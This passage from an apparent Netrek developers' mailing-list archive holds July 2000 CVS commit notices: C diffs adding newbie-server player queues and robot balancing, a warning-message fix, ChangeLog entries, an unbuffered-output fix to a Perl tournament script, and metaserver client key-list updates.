--- Vanilla/ntserv/struct.h:1.11	Fri Jun 23 04:12:58 2000
+++ Vanilla/ntserv/struct.h	Thu Jul  6 09:50:55 2000
@@ -37,7 +37,10 @@
 #define  QU_PICKUP_OBS 6    /* Pickup observer queue */
 #define  QU_GOD        7    /* Queue for God    */
 #define  QU_GOD_OBS    8    /* Queue for God as Voyeur */
-
+#define  QU_NEWBIE_PLR 9    /* Newbie server players */
+#define  QU_NEWBIE_BOT 10   /* Newbie server robots */
+#define  QU_NEWBIE_OBS 11   /* Newbie server observers */
+#define  QU_NEWBIE_DMN 12   /* Newbie server daemon */
 /*
  * Queue flag definitions.
  */

From vanilla-devel at us.netrek.org  Thu Jul  6 09:53:41 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/robots
Message-ID: <200007061453.e66Erf311015@swashbuckler.fortress.real-time.com>

Date:	Thursday July 6, 2000 @ 9:53
Author:	karthik

Update of /home/netrek/cvsroot/Vanilla/robots
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv11012

Modified Files:
	newbie.c newbiedefs.h 
Log Message:
Newbie server changes to properly limit humans to 8 players by means of a       separate queue, as well as to stop reporting bots to the metaserver. (When      the human queue is full, the game will still be reported as Wait Queue, but     when it is not full, only the human count will be reported.)                    


****************************************

Index: Vanilla/robots/newbie.c
diff -u Vanilla/robots/newbie.c:1.2 Vanilla/robots/newbie.c:1.3
--- Vanilla/robots/newbie.c:1.2	Sun May 28 06:06:16 2000
+++ Vanilla/robots/newbie.c	Thu Jul  6 09:53:41 2000
@@ -72,6 +72,7 @@
 static void start_a_robot(char *team);
 static void stop_a_robot(void);
 static int is_robots_only(void);
+static int num_humans(void);
 static void exitRobot(void);
 static char * namearg(void);
 static int num_players(int *next_team);
@@ -120,9 +121,12 @@
     if (!debug)
         SIGNAL(SIGINT, cleanup);
 
-    class = ATT;
+    class = STARBASE;
     target = -1;                /* no target 7/27/91 TC */
-    if ( (pno = pickslot(QU_ROBOT)) < 0) exit(0);
+    if ( (pno = pickslot(QU_NEWBIE_DMN)) < 0) {
+       printf("exiting! %d\n", pno);
+       exit(0);
+    }
     me = &players[pno];
     myship = &me->p_ship;
     mystats = &me->p_stats;
@@ -212,9 +216,13 @@
         int next_team;
         int np = num_players(&next_team);
 
-        if (queues[QU_PICKUP].count > 0 || np > MIN_NUM_PLAYERS)
-            stop_a_robot();
-        else if (np < MIN_NUM_PLAYERS ) {
+         if (!(ticks % ROBOEXITWAIT))
+             /* Stop multiple bots if multiple people have joined since the
+                last ROBOEXITWAIT */
+             while ((QUPLAY(QU_NEWBIE_PLR) + QUPLAY(QU_NEWBIE_BOT)) >= queues[QU_PICKUP].max_slots)
+                 stop_a_robot();
+        else if ((QUPLAY(QU_NEWBIE_PLR) + QUPLAY(QU_NEWBIE_BOT)) < (queues[QU_PICKUP].max_slots - 1))
+        {
             if (next_team == FED)
                 start_a_robot("-Tf");
             else
@@ -241,31 +249,36 @@
 
 static int is_robots_only(void)
 {
-   register        i;
-   register struct player *j;
+   return !num_humans();
+}
 
+static int num_humans(void) {
+   int i;
+   struct player *j;
+   int count = 0;
+
    for (i = 0, j = players; i < MAXPLAYER; i++, j++) {
       if (j->p_status == PFREE)
 	 continue;
       if (j->p_flags & PFROBOT)
 	 continue;
+      if (j->p_status == POBSERV)
+         continue;
 
       if (!rprog(j->p_login, j->p_monitor))
           /* Found a human. */
-	 return 0;
+	 count++;
    }
 
-   /* Didn't find any humans. */
-   return 1;
+   return count;
 }
 
-
 static void stop_a_robot(void)
 {
     int i;
     struct player *j;
 
-    /* Simplistic: nuke the first robot we see. */
+    /* Nuke robot from the team with the fewest humans. */
     for (i = 0, j = players; i < MAXPLAYER; i++, j++) {
         if (j->p_status == PFREE)
             continue;
Index: Vanilla/robots/newbiedefs.h
diff -u Vanilla/robots/newbiedefs.h:1.1 Vanilla/robots/newbiedefs.h:1.2
--- Vanilla/robots/newbiedefs.h:1.1	Tue May 23 20:13:11 2000
+++ Vanilla/robots/newbiedefs.h	Thu Jul  6 09:53:41 2000
@@ -33,15 +33,20 @@
 
 /* Newbie server specific additions */
 
-#define MIN_NUM_PLAYERS	15 /* How many players to maintain. */
+#define MIN_NUM_PLAYERS	16 /* How many players to maintain. */
+#define MAX_HUMANS 8 /* Max number of humans to let in. */
 
 #define PORT 2592
 
 #define HOWOFTEN 1                       /*Robot moves every HOWOFTEN cycles*/
 #define PERSEC (1000000/UPDATE/HOWOFTEN) /* # of robo calls per second*/
 
-#define ROBOCHECK (10*PERSEC)		/* start or stop a robot */
+#define ROBOCHECK (1*PERSEC)		/* start or stop a robot */
+#define ROBOEXITWAIT (5*ROBOCHECK)  /* wait between exiting bots so that
+                                       multiple bots don't exit */
 #define SENDINFO  (120*PERSEC)		/* send info to all */
+
+#define QUPLAY(A) (queues[A].max_slots - queues[A].free_slots)
 
 #endif /* _h_newbiedefs */
 

From vanilla-devel at us.netrek.org  Thu Jul  6 14:34:11 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/robots
Message-ID: <200007061934.e66JYBx11149@swashbuckler.fortress.real-time.com>

Date:	Thursday July 6, 2000 @ 14:34
Author:	karthik

Update of /home/netrek/cvsroot/Vanilla/robots
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv11146

Modified Files:
	newbie.c 
Log Message:
Fixing a bug that would cause all bots to exit at once.



****************************************

Index: Vanilla/robots/newbie.c
diff -u Vanilla/robots/newbie.c:1.3 Vanilla/robots/newbie.c:1.4
--- Vanilla/robots/newbie.c:1.3	Thu Jul  6 09:53:41 2000
+++ Vanilla/robots/newbie.c	Thu Jul  6 14:34:10 2000
@@ -217,10 +217,10 @@
         int np = num_players(&next_team);
 
          if (!(ticks % ROBOEXITWAIT))
-             /* Stop multiple bots if multiple people have joined since the
-                last ROBOEXITWAIT */
-             while ((QUPLAY(QU_NEWBIE_PLR) + QUPLAY(QU_NEWBIE_BOT)) >= queues[QU_PICKUP].max_slots)
+		{
+             if ((QUPLAY(QU_NEWBIE_PLR) + QUPLAY(QU_NEWBIE_BOT)) >= queues[QU_PICKUP].max_slots)
                  stop_a_robot();
+		}
         else if ((QUPLAY(QU_NEWBIE_PLR) + QUPLAY(QU_NEWBIE_BOT)) < (queues[QU_PICKUP].max_slots - 1))
         {
             if (next_team == FED)

From vanilla-devel at us.netrek.org  Thu Jul  6 17:56:25 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007062256.e66MuPX11336@swashbuckler.fortress.real-time.com>

Date:	Thursday July 6, 2000 @ 17:56
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv11333/ntserv

Modified Files:
	interface.c 
Log Message:
fix bombing out of t-mode message

****************************************

Index: Vanilla/ntserv/interface.c
diff -u Vanilla/ntserv/interface.c:1.6 Vanilla/ntserv/interface.c:1.7
--- Vanilla/ntserv/interface.c:1.6	Thu Jan  6 14:45:25 2000
+++ Vanilla/ntserv/interface.c	Thu Jul  6 17:56:24 2000
@@ -88,7 +88,7 @@
 
 #ifdef RESTRICT_BOMB /* isae - no bombing out of tmode? */
     if (!status->tourn){
-        new_warning(42,"You may not bomb out of T-mode.");
+        new_warning(UNDEF,"You may not bomb out of T-mode.");
       return;
     }
 #endif /* RESTRICT_BOMB */

From vanilla-devel at us.netrek.org  Thu Jul  6 17:56:25 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007062256.e66MuPa11341@swashbuckler.fortress.real-time.com>

Date:	Thursday July 6, 2000 @ 17:56
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv11333

Modified Files:
	ChangeLog 
Log Message:
fix bombing out of t-mode message

****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.86 Vanilla/ChangeLog:1.87
--- Vanilla/ChangeLog:1.86	Sun Jul  2 22:03:34 2000
+++ Vanilla/ChangeLog	Thu Jul  6 17:56:25 2000
@@ -1,3 +1,9 @@
+Fri Jul  7 09:12:20 2000  root  <quozl@us.netrek.org>
+
+	* ntserv/interface.c (bomb_planet): fix bomb out of t-mode
+	message.  We thought we sent the right message but the client got
+	a "42" instead.  Ahh.
+
 Mon Jul  3 13:55:06 2000  James Cameron  <quozl@us.netrek.org>
 
 	* config.h.in: #undef NO_BEAM_DOWN_OUT_OF_T_MODE
@@ -997,4 +1003,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.86 2000/07/03 03:03:34 cameron Exp $
+	$Id: ChangeLog,v 1.87 2000/07/06 22:56:25 cameron Exp $

From vanilla-devel at us.netrek.org  Thu Jul  6 20:14:37 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007070114.e671Ebn11388@swashbuckler.fortress.real-time.com>

Date:	Thursday July 6, 2000 @ 20:14
Author:	karthik

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv11385

Modified Files:
	ChangeLog 
Log Message:
Newbie server changes to properly limit humans to 8 players by means of a      
separate queue, as well as to stop reporting bots to the metaserver. (When     
the human queue is full, the game will still be reported as Wait Queue, but    
when it is not full, only the human count will be reported.)                    



****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.87 Vanilla/ChangeLog:1.88
--- Vanilla/ChangeLog:1.87	Thu Jul  6 17:56:25 2000
+++ Vanilla/ChangeLog	Thu Jul  6 20:14:37 2000
@@ -1,3 +1,12 @@
+Thu Jul  6 22:12:10 EDT 2000  Karthik Arumugham <karthik@arumugham.com>
+
+	* ntserv/defs.h, ntserv/queue.c, ntserv/solicit.c, ntserv/struct.h,
+	robots/newbie.c, robots/newbiedefs.h:
+	Newbie server changes to properly limit humans to 8 players by means of a
+	separate queue, as well as to stop reporting bots to the metaserver. (When 
+	the human queue is full, the game will still be reported as Wait Queue, but
+	when it is not full, only the human count will be reported.)
+
 Fri Jul  7 09:12:20 2000  root  <quozl@us.netrek.org>
 
 	* ntserv/interface.c (bomb_planet): fix bomb out of t-mode
@@ -1003,4 +1012,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.87 2000/07/06 22:56:25 cameron Exp $
+	$Id: ChangeLog,v 1.88 2000/07/07 01:14:37 karthik Exp $

From vanilla-devel at us.netrek.org  Tue Jul 11 08:49:14 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007111349.e6BDnEG14530@swashbuckler.fortress.real-time.com>

Date:	Tuesday July 11, 2000 @ 8:49
Author:	karthik

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv14527

Modified Files:
	queue.c solicit.c 
Log Message:
Fixing newbie server queue changes (would cause a normal pickup server to
incorrectly report queues if NEWBIESERVER was defined). Checks GU_NEWBIE
instead of #ifdef NEWBIESERVER now.



****************************************

Index: Vanilla/ntserv/queue.c
diff -u Vanilla/ntserv/queue.c:1.6 Vanilla/ntserv/queue.c:1.7
--- Vanilla/ntserv/queue.c:1.6	Thu Jul  6 09:50:55 2000
+++ Vanilla/ntserv/queue.c	Tue Jul 11 08:49:12 2000
@@ -142,7 +142,7 @@
     queues[QU_NEWBIE_PLR].tournmask = ALLTEAM;
     queues[QU_NEWBIE_PLR].low_slot = 0;
     queues[QU_NEWBIE_PLR].high_slot = (MAXPLAYER - TESTERS) / 2;
-    queues[QU_NEWBIE_PLR].q_flags = QU_OPEN|QU_RESTRICT|QU_REPORT;
+    queues[QU_NEWBIE_PLR].q_flags = QU_OPEN|QU_RESTRICT;
     queue_setname(QU_NEWBIE_PLR, "newbie player");
 
     queues[QU_NEWBIE_BOT].free_slots = MAXPLAYER - TESTERS;
@@ -158,7 +158,7 @@
     queues[QU_NEWBIE_OBS].tournmask = ALLTEAM;
     queues[QU_NEWBIE_OBS].low_slot = MAXPLAYER - (TESTERS / 2);
     queues[QU_NEWBIE_OBS].high_slot = MAXPLAYER - 1;
-    queues[QU_NEWBIE_OBS].q_flags = QU_OPEN|QU_RESTRICT|QU_OBSERVER|QU_REPORT;
+    queues[QU_NEWBIE_OBS].q_flags = QU_OPEN|QU_RESTRICT|QU_OBSERVER;
     queue_setname(QU_NEWBIE_OBS, "newbie observer");
 
     queues[QU_NEWBIE_DMN].free_slots = 1;
Index: Vanilla/ntserv/solicit.c
diff -u Vanilla/ntserv/solicit.c:1.17 Vanilla/ntserv/solicit.c:1.18
--- Vanilla/ntserv/solicit.c:1.17	Thu Jul  6 09:50:55 2000
+++ Vanilla/ntserv/solicit.c	Tue Jul 11 08:49:12 2000
@@ -216,29 +216,31 @@
     
     /* don't remake the packet unless necessary */
     if ( here == packet ) {
+        if (status->gameup & GU_NEWBIE)
+            for (j = 0; j < queues[QU_NEWBIE_PLR].high_slot; j++)
+            {
+                if (players[j].p_status == PFREE)
+                    nfree++;
+                else
+                    nplayers++;
+            }
+        else
+            for (j = 0; j < queues[QU_PICKUP].high_slot; j++)
+            {
+                if (players[j].p_status == PFREE)
+                    nfree++;
+                else
+                    nplayers++;
+            }
       
-      /* count up the number of free slots and players for pickup games */
-      /* don't want to go all the way to MAX_PLAYERS.  Queue starts at */
-      /* queues[QU_PICKUP].high_slot players. */
-#ifdef NEWBIESERVER
-      for (j=0; j<queues[QU_NEWBIE_PLR].high_slot; j++)
-#else
-      for (j=0; j<queues[QU_PICKUP].high_slot; j++)
-#endif
-	if (players[j].p_status == PFREE)
-	  nfree++;
-	else
-	  nplayers++;
-      
       /* if the free slots are zero, translate it to a queue length */
       /* and report that the game is full */
       if (nfree == 0) 
 	{
-#ifdef NEWBIESERVER
-	  nfree = -queues[QU_NEWBIE_PLR].count;
-#else
-	  nfree = -queues[QU_PICKUP].count;
-#endif
+      if (status->gameup & GU_NEWBIE)
+          nfree = -queues[QU_NEWBIE_PLR].count;
+      else
+          nfree = -queues[QU_PICKUP].count;
 	  gamefull++;
 	}      
 

From vanilla-devel at us.netrek.org  Tue Jul 11 08:49:23 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/robots
Message-ID: <200007111349.e6BDnNl14539@swashbuckler.fortress.real-time.com>

Date:	Tuesday July 11, 2000 @ 8:49
Author:	karthik

Update of /home/netrek/cvsroot/Vanilla/robots
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv14536

Modified Files:
	newbie.c 
Log Message:
Fixing newbie server queue changes (would cause a normal pickup server to
incorrectly report queues if NEWBIESERVER was defined). Checks GU_NEWBIE
instead of #ifdef NEWBIESERVER now.



****************************************

Index: Vanilla/robots/newbie.c
diff -u Vanilla/robots/newbie.c:1.4 Vanilla/robots/newbie.c:1.5
--- Vanilla/robots/newbie.c:1.4	Thu Jul  6 14:34:10 2000
+++ Vanilla/robots/newbie.c	Tue Jul 11 08:49:23 2000
@@ -156,6 +156,10 @@
 #endif
 
     status->gameup |= GU_NEWBIE;
+    queues[QU_NEWBIE_PLR].q_flags |= QU_REPORT;
+    queues[QU_NEWBIE_OBS].q_flags |= QU_REPORT;
+    queues[QU_PICKUP].q_flags ^= QU_REPORT;
+    queues[QU_PICKUP_OBS].q_flags ^= QU_REPORT;
 
     /* Robot is signalled by the Daemon */
     ERROR(3,("\nRobot Using Daemon Synchronization Timing\n"));
@@ -468,6 +472,10 @@
 
     obliterate(1,KPROVIDENCE);
     status->gameup &= ~GU_NEWBIE;
+    queues[QU_NEWBIE_PLR].q_flags ^= QU_REPORT;
+    queues[QU_NEWBIE_OBS].q_flags ^= QU_REPORT;
+    queues[QU_PICKUP].q_flags |= QU_REPORT;
+    queues[QU_PICKUP_OBS].q_flags |= QU_REPORT;
     exitRobot();
 }
 

From vanilla-devel at us.netrek.org  Sat Jul 15 14:53:20 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: metaserver
Message-ID: <200007151953.e6FJrKB20789@swashbuckler.fortress.real-time.com>

Date:	Saturday July 15, 2000 @ 14:53
Author:	unbelver

Update of /home/netrek/cvsroot/metaserver
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv20786

Modified Files:
	rsa_keys 
Log Message:
More additions/deletions from Dave.

--Carlos V.



****************************************

Index: metaserver/rsa_keys
diff -u metaserver/rsa_keys:2.15 metaserver/rsa_keys:2.16
--- metaserver/rsa_keys:2.15	Fri Jun  9 22:15:41 2000
+++ metaserver/rsa_keys	Sat Jul 15 14:53:20 2000
@@ -762,18 +762,6 @@
    :gk=9165ec90296bf7d682daab7967ce12e5779ef8aa6e48926ccc6ee04c884d8617:\
    :pk=cd865297ebd450311b02124f6f30803aa1f44f219f9ab48a569cd92e1e74aa0b:
 #
-paradise.thoth.linux-R5:ct=paradise 2.4:cr=thoth@purplefrog.com:\
-   :cd=July 1996:ar=Linux ELF / X11R5:cl=inl,paradise2:\
-   :cm=suitable for use on standard servers:\
-   :gk=777e6c98ce254dadf8e11bfe3071f890a5dcdd580bef8dfa63c9715ecf741804:\
-   :pk=9720c77528af72d4c314b04bcda09826e70354e22748a6853aa60d508b521d01:
-#
-paradise.glamm.IRIX5:ct=paradise 2.4:cr=glamm@mountains.ee.umn.edu:\
-   :cd=July 1996:ar=SGI/IRIX 5.x:cl=inl,paradise2:\
-   :cm=suitable for use on standard servers:\
-   :gk=134a449e9e7c06ee8ea6fea64ae40e252067b9ad876a58bf8ff1928ccf92c40b:\
-   :pk=1915f4108d59f9d67adaad7019da9e6f93bc97840f26375793990333d084640b:
-#
 paradise.glamm.Solaris:ct=paradise 2.4:cr=glamm@mountains.ee.umn.edu:\
    :cd=July 1996:ar=Sparc/Solaris 2.x:cl=inl,paradise2:\
    :cm=suitable for use on standard servers:\
@@ -786,12 +774,6 @@
    :gk=6b496d465a9df72f25f4c0f02af53297fc30626473d4c61d766870757667ff62:\
    :pk=55683f756815b0e8f8363e6ce3f8b847554bd22a7f1e99a05dffceaa0a301358:
 #
-paradise.mmead.FreeBSD:ct=paradise 2.4:cr=mmead@PNetrek.ORG:\
-   :cd=July 1996:ar=i386/FreeBSD 2.1.0:cl=inl,paradise2:\
-   :cm=suitable for use on standard servers:\
-   :gk=9d2b22f66aee05e4792680f3468101c4cf1e3f10687917bcbfe7b8aae07cd80c:\
-   :pk=f1fa8a3d3a616b4dde85372bd7bee5c4c051e6066ce05a1a7ca76aafc7473b01:
-#
 paradise.mmead.OSF1:ct=paradise 2.4:cr=mmead@PNetrek.ORG:\
    :cd=July 1996:ar=Alpha AXP/OSF1:cl=inl,paradise2:\
    :cm=suitable for use on standard servers:\
@@ -804,12 +786,6 @@
    :gk=0560e4f99490efb6c15e6d9d89c445b3980c12647181cc1c84f82bf81ccc2f0d:\
    :pk=5bf196e32c4175369f8820f946333aa36eba3d81ddf7f665bc503e256dabd909:
 #
-paradise.glamm.LinuxR6:ct=paradise 2.4:cr=glamm@mountains.ee.umn.edu:\
-   :cd=July 1996:ar=i386/Linux-ELF/R6:cl=inl,paradise2:\
-   :cm=suitable for use on standard servers:\
-   :gk=ef14242e73016bd17dc9409bc05fe8107f875895218c7aab8b3491dc3941c55f:\
-   :pk=0bfd72ef081bc43fa38b889de3d4751369acb2b99a52a81aee77820cf6792107:
-#
 paradise.mmead.BSDOS:ct=paradise 2.4:cr=mmead@PNetrek.ORG:\
    :cd=July 1996:ar=i386/BSD/OS 2.0:cl=paradise2,inl:\
    :cm=suitable for use on standard servers:\
@@ -834,17 +810,35 @@
    :gk=110e2d748f552c135f6c9262ec901bc2653a05de4d0d9b630eb0d8cac6ceda4b:\
    :pk=e111dfe6b1a01db9c96a8e716dd79958d8a1b77cab91a191769059020991161a:
 #
-paradise.freebsd.i386:ct=paradise 2.4p1C:cr=edorman@paradise.netrek.org:\
-   :cd=January 1999:ar=FreeBSD-2.2.5/i386:cl=paradise2,inl:\
-   :cm=For use on standard servers:\
-   :gk=45fc72e8ca4129e239abb9643a7402ab6e9a71e1d2dfe3ab90f4e0a2991ed841:\
-   :pk=03d99e98b5e81d23ebefab17171655e0383b85fd72cf25189e46e5b51244363b:
-#
-linux_paradise:ct=paradise-2.4:cr=little_buddha@bigfoot.com:\
-   :cd=April 1999:ar=i586/linux-glibc-6:\
-   :cm=New Linux Netrek Paradise client:\
-   :gk=2f8b610947f860605b9e85df63a62958a63344f4bd024154d40fac990c32e827:\
-   :pk=c10a73aa10264da1ce2027a071ccf350203d5b263fcc78aa65d2046fa72a1824:
+paradise2-intel-freebsd:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=i386/FreeBSD 4.0:cl=paradise2,inl\                
+   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
+   :gk=5da5bb61455e40ba63dc6da3da95ecb665def0a07db44bb64e3f1d154b88081c:\       
+   :pk=c7d8f6983492bb0a86d1a23ed0447868d0608953666eecf08de86e0a51e5d114:
+#
+paradise2-intel-linux:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=i386/Linux 2.2:cl=paradise2,inl\
+   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
+   :gk=39bc1defd32c8f997baf6fc38154e1a404c217606f97a02df5b7586e77d17d3f:\
+   :pk=5f065909074852dcbaaf3e15a5a3474f8968e7924a87449e00786624216b2731:        
+#
+paradise2-sgi-irix32:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=SGI/IRIX 6.2:cl=paradise2,inl\
+   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\         
+   :gk=97f42d56c47f0107c99b93f9469dfb6cd1923cfdc8580da4d735368201ecdf33:\       
+   :pk=436356d66d617b3443a01ac6e68e70fb8ac411dfe771ba48f6a7ed6020ac8523:        
+#
+paradise2-sgi-irix64:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=SGI/IRIX64 6.5:cl=paradise2,inl\
+   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
+   :gk=f7fdffd5514e4e858a59a9855e262fd89eb7fa5743d88ab423e3c82a0e15af09:\
+   :pk=0be40315854a2898faea9bc2e9f89ffd6bed79cd4c4d9de3466712eb1dcb4f04:
+#
+paradise2-sparc-solaris:ct=Paradise 2.99:cr=Dave Ahn <ahn@users.sourceforge.net>:\
+   :cd=July 2000:ar=Sparc/Solaris 2.7:\      
+   :cm=Last Paradise 2.x client release.  http://paradise.netrek.org/:\
+   :gk=8d089f9b913a733459282553420e9c7e1b0e46cc04d1817a02ff471e4309cb3d:\
+   :pk=b73e71103c8132cc56c5d4044f734d7dfe93a43633b2fdba533565669b56401c:
 #
 #
 #  Paradise: 2000 clients
@@ -919,18 +913,6 @@
    :gk=7923a045fa2b9e95dc9078feaf8c5eaa031167e07b34f07593bcbec8cd97f01d:\
    :pk=a5428ac4722df8b36b93f776c616e34f846db58d4edc036025d21fe511c8ed15: 
 #
-TedTurner-sgi-irix32:ct=Paradise/TedTurner 1.3:cr=Dave Ahn <ahn@vec.wfubmc.edu>:\
-   :cd=January 1999:ar=SGI/IRIX 6.x:cl=paradise2,inl:\
-   :cm=Full color Paradise client, available from ftp.netrek.org:\
-   :gk=d98a6e18dbafdfed414cc7d17a7dbb939a7ab6e4d13317a6b5d9d5b99fde02ae:\
-   :pk=219f5650b7869b6a4c3b403ce0561f3f8f4975eb2f012cb623766d436d289c1a: 
-#
-TedTurner-sgi-irix64:ct=Paradise/TedTurner 1.3:cr=Dave Ahn <ahn@vec.wfubmc.edu>:\
-   :cd=January 1999:ar=SGI/IRIX64 6.5:cl=paradise2,inl:\
-   :cm=Full color Paradise client, available from ftp.netrek.org:\
-   :gk=51a35e3ca2d03ef3f5be4441e4b82c060747ca2a194d0153a128315a4896fb00:\
-   :pk=af8f80649a9cfc0d164f6bffc76c96b564bef323c46b232c096151b796fa5000: 
-#
 TedTurner-sparc-sunos4:ct=Paradise/TedTurner 1.3:cr=Dave Ahn <ahn@vec.wfubmc.edu>:\
    :cd=January 1999:ar=Sparc/SunOS 4.x:cl=paradise2,inl:\
    :cm=Full color Paradise client, available from ftp.netrek.org:\
@@ -1026,11 +1008,6 @@
    :gk=0d4e833ee4605824479dc4a0622d42364a60367a608204454e4909264d2cfc47:\
    :pk=2f8c44d297cfb02c1e83db2ff1b6951ceaec038a523f51baedb899f606967c20:
 #
-paradise.edorman.IRIX6:ct=paradise 2.4 patch1:cr=edorman@paradise.netrek.org:\
-   :cd=February 1998:ar=SGI/IRIX 6.2:cl=test:\
-   :cm=ALPHA-send bug reports to edorman@paradise.netrek.org:\
-   :gk=9dfda5910f0e7a3ac60c69bc6616c2fa7539bf29d2480f52a1f0d761b93a8e13:\
-   :pk=f740020dd8320d5244b718744fe607f98916758770b0a8735eb6b01c41e1b601:       
 #
 #       TrekHopd Clients
 #

From vanilla-devel at us.netrek.org  Mon Jul 17 13:46:59 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007171846.e6HIkxO22021@swashbuckler.fortress.real-time.com>

Date:	Monday July 17, 2000 @ 13:46
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv22018

Modified Files:
	ChangeLog 
Log Message:
Fix end_tourney.pl to do unbuffered I/O.


****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.88 Vanilla/ChangeLog:1.89
--- Vanilla/ChangeLog:1.88	Thu Jul  6 20:14:37 2000
+++ Vanilla/ChangeLog	Mon Jul 17 13:46:59 2000
@@ -1,3 +1,8 @@
+Mon Jul 17 15:47:02 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
+	
+	* robots/end_tourney.pl: Fix end_tourney.pl script so that output
+ 	is unbuffered.  pwstats.html gets truncated otherwise.
+	
 Thu Jul  6 22:12:10 EDT 2000  Karthik Arumugham <karthik@arumugham.com>
 
 	* ntserv/defs.h, ntserv/queue.c, ntserv/solicit.c, ntserv/struct.h,
@@ -1012,4 +1017,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.88 2000/07/07 01:14:37 karthik Exp $
+	$Id: ChangeLog,v 1.89 2000/07/17 18:46:59 ahn Exp $

From vanilla-devel at us.netrek.org  Mon Jul 17 13:46:59 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/robots
Message-ID: <200007171846.e6HIkxs22026@swashbuckler.fortress.real-time.com>

Date:	Monday July 17, 2000 @ 13:46
Author:	ahn

Update of /home/netrek/cvsroot/Vanilla/robots
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv22018/robots

Modified Files:
	end_tourney.pl 
Log Message:
Fix end_tourney.pl to do unbuffered I/O.


****************************************

Index: Vanilla/robots/end_tourney.pl
diff -u Vanilla/robots/end_tourney.pl:1.10 Vanilla/robots/end_tourney.pl:1.11
--- Vanilla/robots/end_tourney.pl:1.10	Wed Jun  7 13:09:13 2000
+++ Vanilla/robots/end_tourney.pl	Mon Jul 17 13:46:59 2000
@@ -1,6 +1,6 @@
 #!/usr/bin/env perl
 #
-# $Id: end_tourney.pl,v 1.10 2000/06/07 18:09:13 ahn Exp $
+# $Id: end_tourney.pl,v 1.11 2000/07/17 18:46:59 ahn Exp $
 # 
 # end_tourney.pl
 #
@@ -64,6 +64,11 @@
 
 open (INPUT,"$inputfile");
 open (OUTPUT,">$outputfile");
+
+# make unbuffered I/O
+select(OUTPUT); $| = 1;
+select(STDERR); $| = 1;
+select(STDOUT); $| = 1;
 
 $homecurrentplanets=10;
 $awaycurrentplanets=10;

From vanilla-devel at us.netrek.org  Thu Jul 20 17:39:36 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: metaserver
Message-ID: <200007202239.e6KMdaF23447@swashbuckler.fortress.real-time.com>

Date:	Thursday July 20, 2000 @ 17:39
Author:	unbelver

Update of /home/netrek/cvsroot/metaserver
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv23444

Modified Files:
	rsa_keys 
Log Message:

Corrections Dave asked me to make.

--Carlos V.



****************************************

Index: metaserver/rsa_keys
diff -u metaserver/rsa_keys:2.16 metaserver/rsa_keys:2.17
--- metaserver/rsa_keys:2.16	Sat Jul 15 14:53:20 2000
+++ metaserver/rsa_keys	Thu Jul 20 17:39:35 2000
@@ -799,43 +799,43 @@
    :pk=1b54d70bac23d5838666cb9a8d273cc2c7bdf106dbebdafe5f2919699fc2ec15:
 #
